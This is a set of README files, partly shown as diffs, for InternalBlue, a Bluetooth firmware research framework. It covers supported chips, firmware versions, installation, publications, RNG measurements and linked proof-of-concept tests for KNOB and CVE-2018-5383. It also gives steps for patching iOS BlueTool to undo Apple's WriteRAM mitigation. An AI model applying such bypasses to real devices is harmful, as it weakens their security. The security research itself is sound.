Prior to pairing, an MITM can set the IO capabilities to no input, no output. This will skip the numeric comparison.
If the operating system displays a yes/no question during pairing, a warning, or similar, is up to the concrete implementation.
This script tests how the other device will behave in a pairing that does not use numeric comparison, but is no
active MITM attack.
* [Nexus 5](../examples/nexus5/NiNo_PoC.py)
Measurement of BLE Receive Statistics
-------------------------------------
This demo provides a hook within the callback for BLE packet reception. Upon packet reception, no matter if the
packet is a keep-alive null packet or not, it will be processed by this function. During this state, further
metadata is available, such as the RSSI (Received Signal Strength Indicator), the packet's channel, and the
currently active channel map.
Available for the [Nexus 5](../examples/nexus5/BLE_Reception_PoC.py) and [Samsung Galaxy S8](../examples/s8/BLE_Reception_PoC.py) including a callback script,
as well as for the [CYW20735 Evaluation board](../examples/eval_cyw20735/BLE_Reception_PoC.py), [Raspberry Pi 3](../examples/rpi3/BLE_Reception_PoC.py)
and [3+/4](../examples/rpi3p_rpi4/BLE_Reception_PoC.py) currently without callback script.
We also ported it for the iPhone 6, however, the current *InternalBlue* iOS implementation cannot be run in parallel
with the full iOS stack, thus it is not pushed online here.
+34
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@@ -0,0 +1,34 @@
Supported Features
------------------
This list is subject to change, but we give you a brief overview.
You probably have a platform with a *Broadcom* chip that supports most features :)
On any Bluetooth chip:
* Send HCI commands
* Monitor HCI
* Establish connections
On any Broadcom Bluetooth chip:
* Read and write RAM
* Read and write assembly to RAM
* Read ROM
* Set defined breakpoints that crash on execution
* Inject arbitrary valid LMP messages (opcode and length must me standard compliant, contents and order are arbitrary)
* Use diagnostic features to monitor LMP and LCP (with new **Android** H4 driver patch, still needs to be integrated into BlueZ)
* Read AFH channel map
On selected Broadcom Bluetooth chips:
* Write to ROM via Patchram (any chip with defined firmware file >= build date 2012)
* Interpret core dumps (Nexus 5/6P, Samsung Galaxy S6, Evaluation Boards, Samsung Galaxy S10/S10e/S10+)
* Debug firmware with tracepoints (Nexus 5 and Evaluation Board CYW20735)
* Fuzz invalid LMP messages (Nexus 5 and Evaluation Board CYW20735)
* Inject LCP messages, including invalid messages (Nexus 5, Raspberry Pi Zero W/3/3+/4)
* Full object and function symbol table (Cypress Evaluation Boards only)
* Demos for Nexus 5 only:
* ECDH CVE-2018-5383 example
* NiNo example
* MAC address filter example
* KNOB attack test for various devices, including Raspberry Pi 3+/4
* BLE reception statistics for active connections
* Enhanced BLE advertisement reports (channel, scan mode, antenna)
+22 -36
View File
@@ -1,22 +1,23 @@
Firmware Versions
=================
This package adds support for different Broadcom and Cypress firmware versions.
A list of known versions can be found below, however we only have firmware information on a subset of these.
Results are based on real world testing, this list is very incomplete. If you know more versions, input is appreciated.
A list of known firmware versions can be found below.
However, we only have firmware information on a subset of these.
Results are based on real-world testing, this list is very incomplete.
If you know more versions, input is appreciated :)
Vendor | Version | SubVersion | Firmware | Devices | Firmware Build Date
-------| ------- | ---------- | ----------- | ------- | ----------
0x000f | 0x04 | 0x4217 | BCM4329B1 | iPhone 4, Nexus One, iPod touch (A1367)
0x000f | 0x04 | 0x21d0 | BCM2046 | iMac 27" late 2009
0x000f | 0x04 | 0x21d0 | BCM2046A2 | iMac 27" late 2009 | 2007
0x000f | 0x04 | 0x422a | BCM4331 | MacBook Pro early 2011
0x000f | 0x04 | 0x4203 | | HP ProBook 6550b and 6450b
0x000f | 0x05 | 0x4203 | BCM2034B | Thinkpad T420
0x000f | 0x05 | 0x610d | | iPad A1395
0x000f | 0x05 | 0x240c | BCM20733 | Magic Keyboard
0x000f | 0x06 | 0x220e | BCM20702A1 | Asus USB Bluetooth dongle, HP Elitebook 820 G2
0x000f | 0x06 | 0x220e | BCM20702A1 | Asus USB Bluetooth dongle, HP Elitebook 820 G2 | ~Feb 2010
0x000f | 0x06 | 0x229b | BCM20702A3 | MacBook Pro 13" mid 2012 (A1278)
0x000f | 0x06 | 0x4103 | BCM4330B1 | iPhone 4s
0x000f | 0x06 | 0x410d | | BlackBerry Q5
@@ -24,7 +25,7 @@ Vendor | Version | SubVersion | Firmware | Devices | Firmware Build Date
0x000f | 0x06 | 0x6109 | | Samsung Galaxy Note 10.1 2014 WiFi (SM-P600)
0x000f | 0x07 | 0x220f | BCM20736S | Equiva Radiator Thermostat CC-RT-BLE-EQ
0x000f | 0x07 | 0x2203 | BCM43342 | iPhone 5s
0x000f | 0x07 | 0x2209 | BCM43430A1 | Raspberry Pi 3 | Jun 2 2014
0x000f | 0x07 | 0x2209 | BCM43430A1 | Raspberry Pi 3 and Zero W | Jun 2 2014
0x000f | 0x07 | 0x230f | BCM4356A2 | Xperia Z5
0x000f | 0x07 | 0x410d | BCM4334 | iPhone 5 (A1429)
0x000f | 0x07 | 0x4606 | BCM4324 | iPad Air (A1474)
@@ -34,6 +35,7 @@ Vendor | Version | SubVersion | Firmware | Devices | Firmware Build Date
0x000f | 0x08 | 0x21a6 | BCM20703A1 | MacBook Pro early 2015
0x000f | 0x08 | 0x21a7 | BCM20703A1 | MacBook Pro early 2015 (with security fix)
0x000f | 0x08 | 0x21a8 | BCM20703A1 | MacBook Pro early 2015 (with security fix, 10.14.6)
0x000f | 0x08 | 0x21a8 | BCM20703A1 | MacBook Pro early 2015 (with security fix, 10.15.4)
0x000f | 0x08 | 0x220b | CYW20706 | CYW920706 Evaluation Kit, same ROM as MacBook Pro 2016 | Oct 22 2015
0x000f | 0x08 | 0x220b | BCM20707 | Fitbit Ionic
0x000f | 0x08 | 0x2230 | BCM20703A2 | MacBook Pro 2016 (A1707) | Oct 22 2015
@@ -60,14 +62,14 @@ Vendor | Version | SubVersion | Firmware | Devices | Firmware Build Date
0x0131 | 0x09 | 0x220c | CYW20819A1 | ULP BLE/BR/EDR Bluetooth 5 Wireless MCU Evaluation Kit CYW920819EVB-02 | May 22 2018
0x000f | 0x09 | 0x411a | BCM4347B0 (BCM4361B0) | Samsung Galaxy S8 | Jun 3 2016
0x0131 | 0x09 | 0x4208 | CYW20735B1 | BLE/BR Bluetooth 5.0 Evaluation Kit CYW920735Q60EVB-01 | Jan 18 2018
0x000f | 0x09 | 0x4208 | BCM4375B1 | Samsung Galaxy S10e, Samsung Galaxy S10, Samsung Galaxy S10+, Samsung Galaxy Note 10/10+ (local version is 0x1111) | April 13 2018
0x000f | 0x09 | 0x4208 | BCM4375B1 | Samsung Galaxy S10e, Samsung Galaxy S10, Samsung Galaxy S10+, Samsung Galaxy Note 10/10+, Samsung Galaxy S20 (local version is 0x1111) | April 13 2018
0x000f | 0x09 | 0x420e | BCM4347B1 | iPhone 8, XR, X | Oct 11 2016
0x0131 | 0x09 | 0x420e | CYW20739B1 | Bluetooth 5.0 BLE Evaluation Kit CYW920719Q40EVB-01 | Jan 17 2017
0x000f | 0x09 | 0x4307 | BCM4377B2 | iPhone XS (Aladdin), iPhone Xs Max (Genie), iPad Pro 11" 3E149FD/A, iPad Pro 11" 3E148FD/A, iPad Pro 12.9" 3rd gen 3D941FD/A, iPad mini 5th gen 3F559FD/A, iPad Air 3rd gen 3F561FD/A
0x000f | 0x09 | 0x4309 | | Samsung Galaxy Note 9, Samsung Galaxy S9, S9+
0x0131 | 0x09 | 0x6119 | BCM4345C0 | Raspberry Pi 3+/4 --- *with Bluetooth 5 patches, same ROM as 3+* | Aug 19 2014
0x000f | 0x09 | 0x6214 | BCM4355C1 | iPad 6th gen 3D575FD/A, iPad 6th gen MRJN2FD/A, iPad 6th gen MR7J2FD/A A1893 (FigaroA)
0x000f | 0x0a | 0x4228 | BCM4378B1 | iPhone 11 (Hei), iPhone 11 Pro (Moana), iPhone 11 Pro Max (Tala) --- *announce BT 5.1 over the air despite being specified as BT 5 online*
0x000f | 0x0a | 0x4228 | BCM4378B1 | iPhone 11 (Hei), iPhone 11 Pro (Moana), iPhone 11 Pro Max (Tala) --- *announce BT 5.1 over the air but are BT 5* | Oct 25 2018
@@ -77,6 +79,15 @@ Matching of vendor and version number see list of [Bluetooth versions](https://w
There are more popular devices with Broadcom chips, i.e. many Lenovos, Acers, Sonys, Toshibas, HPs, Azurewares, ... see [this list](https://github.com/winterheart/broadcom-bt-firmware/blob/master/DEVICES.md), but we did not see these in the wild yet and do not know their LMP subversion.
Intentional Security Fix
------------------------
Broadcom started breaking *InternalBlue* support on purpose on recent chips to increase security.
On a Samsung Galaxy S10 with March 2020 patch level as well as on an iPhone 7 and 8 with iOS 13.4.1,
the `Write_RAM` HCI command is no longer available. It results in error code 12 if not used in
download minidriver mode during driver initialization by the operating system.
Known Issues
------------
@@ -84,12 +95,13 @@ There is a couple of issues causing trouble running *InternalBlue*, which are re
* BCM4335C0
* Diagnostic messages lack behind by one. If you send `diag c1` you will not get a response. Followed by `diag c2` you will get a response for `c1`, and so on. This issue is independent from the Android driver patch, i.e. a Nexus 6P works perfectly with the same LineageOS 14.1 patch that causes this issue on a Nexus 5.
* BCM4358A3
* BCM4358A3 (Nexus 6P + Samsung Galaxy S6), and iPhone 7 firmware:
* `Launch_RAM` crashes the firmware if it received another HCI command within the next ~6 seconds. When patching and launching scripts, close the Bluetooth overview from the operating system to prevent scanning and hope that nothing else interacts with this.
* CYW20735B1
* `Launch_RAM` works in principle, but threading seems to be broken if the executed code generates other HCI events.
A hook at `0xB0316` is a nice spot to implement a function that generates HCI events and can be called via the HCI command `0xfc19`.
The general solution seems to be `self.internalblue.patchRom(0x3d32e, "\x70\x47\x70\x47")` respectively `patch -a 0x3d32e --asm bx lr`, which fixes that the baud rate is set to a wrong value during `Launch_RAM`.
* Same issue exists for CYW20719, CYW20819
Firmware Version and Build Date
-------------------------------
@@ -100,30 +112,4 @@ is internally called *BCM4335C0*. It is known to be a revision of the older *BCM
On newer chips, the build information is located in the beginning of the stack. To see it, simply enter
hd 0x200400
License
-------
Copyright 2019 Jiska Classen
Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
the Software without restriction, including without limitation the rights to
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
of the Software, and to permit persons to whom the Software is furnished to do
so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
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# iOS internalblued
This project is a proxy that redirects the *iOS* Bluetooth socket and exposes it as a
TCP socket which can be used to send HCI commands to the Bluetooth controller of the device.
A jailbroken device is required.
A compiled version of `internalblued` can be found in [`ios/packages/com.ttdennis.internalblued_0.0.1_iphoneos-arm.deb`](../ios/packages/com.ttdennis.internalblued_0.0.1_iphoneos-arm.deb)
for UART devices and in [`ios-pcie/packages/com.ttdennis.internalblued_0.0.1-54+debug_iphoneos-arm.deb)`](../ios-pcie/packages/com.ttdennis.internalblued_0.0.1-54+debug_iphoneos-arm.deb)
for PCIe devices.
UART devices:
* iPhone 6
* iPhone 7
* iPhone SE
* iPhone 8
* iPhone XR (yes, even though this one is already A12) (not tested)
PCIe devices:
* iPhone Xs (not tested)
* iPhone 11
* iPhone SE2
## Installing
1. Transfer the `.deb` file to your iOS device
2. Run `dpkg -i your-deb-file.deb` to install `internalblued` on your device
The installer depends on `jtool2`, which can be downloaded [here](http://www.newosxbook.com/tools/jtool.html)
or from the [kiiimo](http://cydia.kiiimo.org/) repo via Cydia.
On *Linux*, `libimobiledevice` bindings see to be slightly different and you might to adjust the following line:
```
dev_id = "iOS Device (" + dev.serial.decode('utf-8') + ")"
```
## Running internalblued
Once installed, `internalblued` runs as a `LaunchDaemon` and is ready to be used. By default it will listen to port 1234 (TCP) on localhost. If `usbmux` is installed, `internalblue` will be able to connect to the phone as the port is passed through `usbmuxd`.
During usage with `internalblue` Bluetooth has to be disabled in the phones Settings App.
In case the Bluetooth chip stops responding, Bluetooth has to be turned on and off again in the Settings App.
There is a Settings App pane for `internalblued` to turn off the daemon and adapt the listening port. However, this is usually not required. As long as `internalblue` is not connected to `internalblued`'s socket, Bluetooth can be used without any restrictions.
## Building internalblued
1. Install [theos](https://github.com/theos/theos)
2. Install the correct version of PrivateFramework header files (e.g. from [here](https://github.com/xybp888/iOS-SDKs)) for your build into your SDK
3. Run `make package`
4. A `.deb` file should be in the `packages` folder now
## BlueTool
More inconvenient to use, but still an option for unsupported devices, is `BlueTool`.
It can even be scripted, but the scripts must be located in `/etc/bluetool`.
For example, during our Random Number Generator (RNG) tests, we used the following commands
to access the RNG area and execute the `LE_Rand` HCI command. Note that the input must be
decimal but the output is hexadecimal. Similar to `internalblued`, `BlueTool` can only
run while Bluetooth is turned off.
```
device -D
hci cmd 0xfc4d 0 38 96 0 32
HCI Command Response: 01 4D FC 00 03 00 00 00 01 00 00 02 DC 70 02 76 77 77 77 77 77 77 77 77 00 00 00 00 00 00 00 00 00 00 00 00
hci cmd 0x2018
HCI Command Response: 01 18 20 00 2A FC 1F 73 67 11 06 F9
```
## Bypassing the WriteRAM Restriction
After iOS 13.3, WriteRAM is blocked. This is part of the Spectra mitigation and should prevent
an attacker with control over `bluetoothd` to escalate into the Wi-Fi chip (yes, Wi-Fi, not Bluetooth, this is
no typo). Re-enabling WriteRAM poses a security risk but is required for experimentation.
The security patch blocks the WriteRAM command to just return the status 0x12 instead of executing it.
Starting from iOS 13.6, `.hcd` files are no longer in the firmware directory but built-in into `BlueTool`.
The patch we want to undo looks like this:
```
ROM:00146176 4C 2D CMP R5, #0x4C ; 'L' ; fc4c: VSC_Write_RAM -> Block this
ROM:00146178
ROM:00146178 loc_146178 ; CODE XREF: bthci_cmd_HandleCommand+B0↓j
ROM:00146178 ; bthci_cmd_HandleCommand+B4↓j
ROM:00146178 08 D0 BEQ loc_14618C
ROM:0014617A 08 DC BGT loc_14618E
ROM:0014617C 0A 2D CMP R5, #0xA ; fc0a: VSC_Super_Peek_Poke
```
We can simply replace the `0x4c`, which is the WriteRAM command, with `0x42`, which is not used.
Note that `BlueTool` contains multiple copies of these `.hcd` files and you should replace all of them.
The accordingly modified `BlueTool` needs to be copied to `/usr/sbin/BlueTool` and `/usr/sbin/BlueTool.sbin`.
To get Bluetooth working properly again after replacing `BlueTool`, the iPhone needs to be rebooted.
**Bluetooth will only work while the device is jailbroken with a modified BlueTool version!
Use at your own risk and make a backup of the original.** Without jailbreak, the integrity check
for `BlueTool` seems to fail and Bluetooth is constantly restarting.
[BlueTool for iOS 13.6 on an iPhone 8](../ios/BlueTool_iPhone8_iOS13.6), might also work on other <A12 devices.
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macOS Setup
-----------
### 1. Prerequisites
*InternalBlue* runs as regular user, no administrator access is required.
Install `homebrew` (see https://brew.sh/) and then use it to install `git` and `python3`.
If you want to use ARM assembly and disassembly, which is required for some patches and debugging, install[binutils](https://github.com/Gallopsled/pwntools-binutils).
```
brew install https://raw.githubusercontent.com/Gallopsled/pwntools-binutils/master/macos/binutils-arm.rb
```
### 2. Installation
#### a) With Git
Clone *InternalBlue* and install it. Preferrably in a new virtual environment.
```
git clone https://github.com/seemoo-lab/internalblue
cd internalblue
virtualenv -p python3 venv
source venv/bin/activate
pip install --editable ./
pip install pyobjc
```
Without `pyobjc`, you might get an error message that the `IOBluetoothExtended.framework` was not found even
if the folder is correct.
#### b) Without Git
Download *InternalBlue* and install it. Preferrably in a new virtual environment.
```
curl -LJO https://github.com/seemoo-lab/internalblue/archive/master.zip
unzip internalblue-master.zip
cd internalblue-master
virtualenv -p python3 venv
source venv/bin/activate
pip install --editable ./
pip install pyobjc
```
### 3. Framework Setup
#### a) Precompiled
On macOS High Sierra or older, you need to use a precompiled [IOBluetoothExtended.framework](../macos/IOBluetoothExtended.framework.zip) file.
It only runs after installing the *Swift 5 Runtime Support Command Line Tools*, otherwise, the error
message `Library not loaded: @rpath/libswiftCore.dylib` is shown.
Use the following command to unzip the framework we provide.
```
unzip macos/IOBluetoothExtended.framework.zip -d macos
```
Depending on the installation location, if the `IOBluetoothExtended.framework` is still not found, you might need to
adapt the path in `macoscore.py`.
#### b) Compile yourself
On macOS Mojave and newer, *Xcode 10.2.1* and up is supported. On these systems, you can build the
framework yourself.
```
open internalblue/macos/IOBluetoothExtended/IOBluetoothExtended.xcodeproj/
```
⌘ + B
### 4. Startup
Now, *InternalBlue* can be executed normally, like shown.
```
python3 -m internalblue.cli
```
You can also use the shortcut `internalblue`.
### 5. Debugging
You can open `PacketLogger`, which is included in the `Additional Tools for Xcode`, to observe all Bluetooth packets.
If you do excessive IO such as dumping the ROM and get the message `Failure: creating socket: Too many open
files`, you need to change the `ulimit`, i.e., `ulimit -n 1000`.
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Publications
------------
* **Master Thesis** (07/2018)
*InternalBlue* was initially developed and documented in the
[Masterthesis](internalblue_thesis_dennis_mantz.pdf) by Dennis Mantz.
Afterwards the development was continued by SEEMOO. It was awarded with the [CAST Förderpreis](https://www.cysec.tu-darmstadt.de/cysec/start_news_details_136448.en.jsp).
* **MRMCD Talk** (09/2018)
The basic framework for Nexus 5 / BCM4339 was presented at the MRMCD Conference
2018 in Darmstadt. The talk was also [recorded](https://media.ccc.de/v/2018-154-internalblue-a-deep-dive-into-bluetooth-controller-firmware) and includes an overview of the framework as well as
two demo usages at the end (Following a **Secure Simple Pairing procedure in
Wireshark** and implementing a **proof of concept for CVE-2018-5383**).
* **35C3 Talk** (12/2018)
More extensions were [presented](https://media.ccc.de/v/35c3-9498-dissecting_broadcom_bluetooth) at 35C3 2018 in Leipzig. New features include
creating connections to non-discoverable devices. Moreover, we gave a **demo of
CVE-2018-19860**, which can crash Bluetooth on several Broadcom chips. This talk
was also recorded and gives a more high level overview.
* **TROOPERS Talk** (03/2019)
* **WiSec Paper** (05/2019)
Our WiSec paper [Inside Job: Diagnosing Bluetooth Lower Layers Using Off-the-Shelf Devices](https://arxiv.org/abs/1905.00634) on reversing the
Broadcom Bluetooth diagnostics protocol was accepted, demonstrated and got the replicability label.
* **MobiSys Paper** (06/2019)
Our MobiSys paper [InternalBlue - Bluetooth Binary Patching and Experimentation Framework
](https://arxiv.org/abs/1905.00631) on the complete *InternalBlue* ecosystem got accepted.
* **REcon Talk** (06/2019)
We gave a talk at REcon, [Reversing and Exploiting Broadcom Bluetooth](https://cfp.recon.cx/reconmtl2019/talk/EQTRGU/).
It provides a first intuition on how to do binary patching in C with Nexmon to change Bluetooth functionality.
* **MRMCD Talk** (09/2019)
Our talk [Playing with Bluetooth](https://media.ccc.de/v/2019-185-playing-with-bluetooth) focuses on new device support
within *InternalBlue* and the Patchram state of various devices.
* **36C3 Talk** (12/2019)
The rather generic talk [All wireless communication stacks are equally broken](https://media.ccc.de/v/36c3-10531-all_wireless_communication_stacks_are_equally_broken)
points out a couple of new research directions and new Bluetooth projects coming up.
* **EWSN Paper & Demo** (02/2020)
We did some work on improving blacklisting performance of BLE data connections. Currently in a separate *blacklisting* branch.
* **CiderSecCon Talk** (03/2020)
TROOPERS was canceled, but we did a stream of a talk that was recorded on [YouTube](https://www.youtube.com/watch?v=Nx2ZDLaJ1-0&t=4920).
* **Easterhegg Talks** (04/2020)
Easterhegg was canceled, but we streamed via DiVOC. The recordings for the talks about
[Random Number Generators](https://media.ccc.de/v/DiVOC-6-finding_eastereggs_in_broadcom_s_bluetooth_random_number_generator)
and [Frankenstein](https://media.ccc.de/v/DiVOC-7-no_poc_no_fix_a_sad_story_about_bluetooth_security) are online.
* **WiSec Paper** (07/2020)
We looked into Apple's Bluetooth ecosystem, especially MagicPairing, which secures AirPods.
For more details, read our paper [MagicPairing: Apple's Take on Securing Bluetooth Peripherals](https://arxiv.org/abs/2005.07255).
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HRNG and PRNG Details (CVE-2020-6616)
-------------------------------------
This is a joint work of @naehrdine, @matedealer, and @fxrh.
We collected at least 1GB of data from the following devices and all of them passed the
*Dieharder* tests.
Chip | Device | Samples | Dieharder
-----------| ----------------- | ---------- | -----------
BCM4335C0 | Google Nexus 5 | 2.7GB | Passed
BCM43430A1 | Raspberry Pi 3/Zero W | 1.3GB | Passed
BCM4345B0 | iPhone 6 | 1.8GB | Passed
BCM4355C0 | iPhone 7 | 1.0GB | Passed
BCM4345C0 | Raspberry Pi 3+/4 | 1.4GB | Passed
BCM4358A3 | Samsung Galaxy S6, Nexus 6P | 2.1GB | Passed
CYW20719B1 | Evaluation board | 1.4GB | Passed
CYW20735B1 | Evaluation board | 1.6GB | Passed
CYW20819A1 | Evaluation board | 1.2GB | Passed
The chip in the *iMac Late 2009* is very slow and memory-limited, thus, we only
checked if the HRNG is present. The same is the case for the *Samsung Galaxy S10*
and *S20* chip, as it has a few more security features that make runtime analysis
harder. On the *iPhone 11*, we currently only have `BlueTool` support, which also
limits our analysis capabilities.
We assume that the presence of a HRNG is sufficient, because all devices on that
we were able to perform measurements had good results.
Chip | Device | HRNG present
-----------| ----------------- | -----------
BCM2046A2 | iMac Late 2009 | Yes
BCM20703A1 | MacBook Pro early 2015 | Yes
BCM4375B1 | Samsung Galaxy S10/S20 | Yes
BCM4347B1 | iPhone 8/X/XR | Yes
BCM4378B1 | iPhone 11 | Yes
We found that the firmware of the *Samsung Galaxy S8* does not even reference the HRNG.
Also, we were not able to access the HRNG using known register locations. Each time we
triggered a RNG-related action such as pairing, a breakpoint we set within the PRNG
function was triggered. Since this issue
was already visible inside the firmware without performing measurements on the hardware itself,
we checked all firmware dumps we had. Overall, we identified five different implementation
variants. Those that are not included in the lists above might still have HRNG issues, but
it is way more unlikely. However, *Broadcom* and *Cypress* produced even more chips than
listed here, and they might be missing a HRNG similar to the *Samsung Galaxy S8*.
Chip | Device | Build Date | RNG Variant | HRNG Location | PRNG | Cache
----------|-----------------|------------|-------------|---------------|------|------
BCM2046A2 | iMac Late 2009 | 2007 | 1 | 0xE9A00, 3 regs | Minimal (inline) | No
BCM2070B0 | MacBook 2011 | Jul 9 2008 | 1 | 0xE9A00, 3 regs | Minimal (inline) | No
BCM20702A1 | Asus USB Dongle | Feb (?) 2010 | 1 | 0xEA204, 3 regs | Minimal (inline) | No
BCM4335C0 | Google Nexus 5 | Dec 11 2012 | 2 | 0x314004, 3 regs | Yes (inline) | No
BCM4345B0 | iPhone 6 | Jul 15 2013 | 2 | 0x314004, 3 regs | Yes (inline) | No
BCM20703A1 | MacBook Pro early 2015 | Dec 23 2013 | 2 (?) | 0x314004, 3 regs | (?) | No
BCM43430A1 | Raspberry Pi 3/Zero W | Jun 2 2014 | 2 | 0x352600, 3 regs | Yes (inline) | No
BCM4345C0 | Raspberry Pi 3+/4 | Aug 19 2014 | 2 | 0x314004, 3 regs | Yes (inline) | No
BCM4358A3 | Samsung Galaxy S6, Nexus 6P | Oct 23 2014 | 2 | 0x314004, 3 regs | Yes (inline) | No
BCM4345C1 | iPhone SE | Jan 27 2015 | 2 | 0x314004, 3 regs | Yes (inline) | No
BCM4364B0 | MacBook/iMac 2017-with2019 | Aug 21 2015 | 2 | 0x352600, 3 regs | Yes (inline) | No
BCM4355C0 | iPhone 7 | Sep 14 2015 | 2 | 0x352600, 3 regs | Yes (inline) | No
BCM20703A2 | MacBook/iMac 2016-2017 | Oct 22 2015 | 2 | 0x314004, 3 regs |Yes (inline) | No
CYW20719B1 | Evaluation board | Jan 17 2017 | 2 | 0x352600, 3 regs | Yes (inline) | No
CYW20735B1 | Evaluation board | Jan 18 2018 | 3 | 0x352600, 3 regs | Yes (`rbg_get_psrng`), 8 regs | Yes, breaks after 32 elements
CYW20819A1 | Evaluation board | May 22 2018 | 3 | 0x352600, 3 regs | Yes (`rbg_get_psrng`), 5 regs | Yes, with minor fixes
BCM4347B0 | Samsung Galaxy S8 | Jun 3 2016 | 4 | __None__ | Only option | No
BCM4347B1 | iPhone 8/X/XR | Oct 11 2016 | 5 | 0x352600, 4 regs | None | Asynchronous 32x cache
BCM4375B1 | Samsung Galaxy S10/Note 10/S20 | Apr 13 2018 | 5 | 0x352600, 4 regs | None | Asynchronous 32x cache
BCM4378B1 | iPhone 11 | Oct 25 2018 | 5 | 0x602600, 4 regs | None| Asynchronous 32x cache
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Recent Changes
--------------
* We upgraded from Python 2 to Python 3. If you wrote your own scripts, this might break them. In this case, use
the [python2](https://github.com/seemoo-lab/internalblue/releases/tag/python2) release.
* We reworked the *iOS* implementation.
Requirements
------------
#### Android
* Ideally recompiled `bluetooth.default.so`, but also works on any rooted smartphone, see [Android instructions](android.md)
* Android device connected via ADB
* Best support is currently given for Nexus 5 / BCM4339
* Optional: Patch for Android driver to support Broadcom H4 forwarding
* Optional, if H4: Wireshark [Broadcom H4 Dissector Plugin](https://github.com/seemoo-lab/h4bcm_wireshark_dissector)
#### Linux
* BlueZ, instructions see [here](linux_bluez.md)
* Best support for Raspberry Pi 3/3+/4 and Cypress evaluation boards
* For most commands: Privileged access
#### iOS
* A jailbroken iOS device (tested on iOS 12 and 13 with iPhone 6, SE, 7, 8, X,
does not work on iPhones newer than XR, these devices have a Bluetooth chip connected via PCIe)
* iOS 12 and 13 have been tested as of now
* `usbmuxd`, which is pre installed on macOS but is available on most Linux distributions as well. Alternatively it can
be obtained from [here](https://github.com/libimobiledevice/usbmuxd).
* The [``internalblued`` daemon](ios.md) installed on the iOS device
* Optional, no jailbreak required: install [iOS Bluetooth Debug Profile](https://developer.apple.com/bug-reporting/profiles-and-logs/) to obtain
HCI and diagnostic messages, either via diagnostic report feature (all iOS versions) or live with PacketLogger (since iOS 13)
#### macOS
* Homebrew
* Xcode 10.2.1
* Instructions see [here](macos.md)
Setup and Installation
----------------------
The framework uses __ADB__ (Android Debug Bridge) to connect to an Android
smartphone, __BlueZ__ sockets on Linux, the undocumented __IOBluetooth__ API on macOS, or the included __iOS Proxy__ on iOS.
For [Android](android.md) with ADB, either connect the phone via USB or setup ADB over TCP and make sure you
enable USB debugging in the developer settings of Android.
If you have a jailbroken [iOS](ios.md) device, you need to install a proxy that locally connects
to the Bluetooth device and forwards HCI commands and events.
On [Linux](linux_bluez.md) with *BlueZ*, everything should work out of the box, but
you need to execute *InternalBlue* as root for most features.
The *InternalBlue* framework supports and requires Python 3.6 and above.
### Install from PyPI
Currently there is no package published on PyPI for Python 3, this will happen in the near future.
### Install as package from GitHub `master` or any other branch
```sh
pip install https://github.com/seemoo-lab/internalblue/archive/master.zip
```
This will download the contents of current master as a zip archive and install them via `pip`.
No local checkout of the git will exist.
If you want to update you need to run:
```sh
pip install --upgrade https://github.com/seemoo-lab/internalblue/archive/master.zip
```
### Development Install
If you except that you might want to read the code locally, debug it
or possibly change it you should setup an editable install.
```sh
git clone https://github.com/seemoo-lab/internalblue
cd internalblue
pip install --editable ./
```
Any changes to the python code in your git checkout will now be immediately reflected when importing `internalblue` or starting it from your shell.
You can now git pull, change branches or fork to submit your own branches:
```sh
git pull # Update current branch
git checkout origin/$featurebranch # Test some feature or bugfix branch
hub fork # requires https://github.com/cli/cli to be set up before
git checkout -b $your_new_feature_branch
```
### Dependencies
It will install the following dependencies:
* `pwntools`
The `pwntools` module needs the `binutils` package for ARM 32-bit to be installed
on the system. This has to be installed manually by using the packet manager
of your Linux distribution:
# for Arch Linux
sudo pacman -S arm-none-eabi-binutils
# for Ubuntu
sudo apt install binutils-arm-linux-gnueabi
All steps on a plain *Ubuntu 18.04*:
sudo apt install git python-setuptools binutils-arm-linux-gnueabi adb pip python-dev gcc
pip install --upgrade https://github.com/seemoo-lab/internalblue/archive/master.zip
sudo apt-get install wireshark-dev wireshark cmake
git clone https://github.com/seemoo-lab/h4bcm_wireshark_dissector
cd h4bcm_wireshark_dissector
mkdir build
cd build
cmake ..
make
make install
Packets required on a current (March 2020) *Raspbian*:
sudo apt-get --allow-releaseinfo-change update
sudo apt-get install git python3-setuptools binutils-arm-none-eabi adb python3-pip python3-dev gcc libffi-dev
Usage
-----
The CLI (Command Line Interface) of *InternalBlue* can be started by running:
python -m internalblue.cli
The setup.py installation will also place a shortcut to the CLI into the `$PATH`
so that it can be started from a command line using:
internalblue
It should automatically connect to your Android phone through ADB or your local *Linux*
with BlueZ. With BlueZ, some commands can be sent by unprivileged users (i.e. version
requests) and some commands require privileged users (i.e., establishing connections).
Use the `help` command to display a list of available commands. A typical set of
actions to check if everything is working properly would be:
wireshark start
connect ff:ff:13:37:ab:cd
sendlmp 01 -d 02
Note that InternalBlue only displays 4 byte MAC addresses in some places. This is
because the leading two bytes are not required by Bluetooth communication, you
can replace them with anything you want.
-48
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InternalBlue PoCs and Examples
==============================
KNOB Attack Test (CVE-2019-9506)
--------------------------------
We provide a modified version of the KNOB attack test, originally provided [here](https://github.com/francozappa/knob).
This script tests if the other device will accept a reduced key entropy of 1 byte instead of the optimal 16 byte.
Available for the [Raspberry Pi 3](rpi3/KNOB_PoC.py), [Raspberry Pi 3+/4](rpi3p_rpi4/KNOB_PoC.py),
[Nexus 5](nexus5/KNOB_PoC.py), [Nexus 6P](nexus6p/KNOB_PoC.py), [CYW20735 evaluation board](eval_cyw20735/KNOB_PoC.py),
and [Samsung Galaxy S8](s8/KNOB_PoC.py).
Invalid Curve Attack Test (CVE-2018-5383)
-----------------------------------------
This is a test which tires to set the y-coordinate during ECDH key exchange to zero. If the devie under test accepts the pairing
(50% probability), it is vulnerable. This is not an MITM implementation, it only tests, if the other device would be vulnerable in practice.
Available for the [Nexus 5](nexus5/CVE_2018_5383_Invalid_Curve_Attack_PoC.py).
LMP MAC Address Filter
----------------------
Only accept traffic from whitelisted MAC addresses and send `LMP_not_accepted` otherwise.
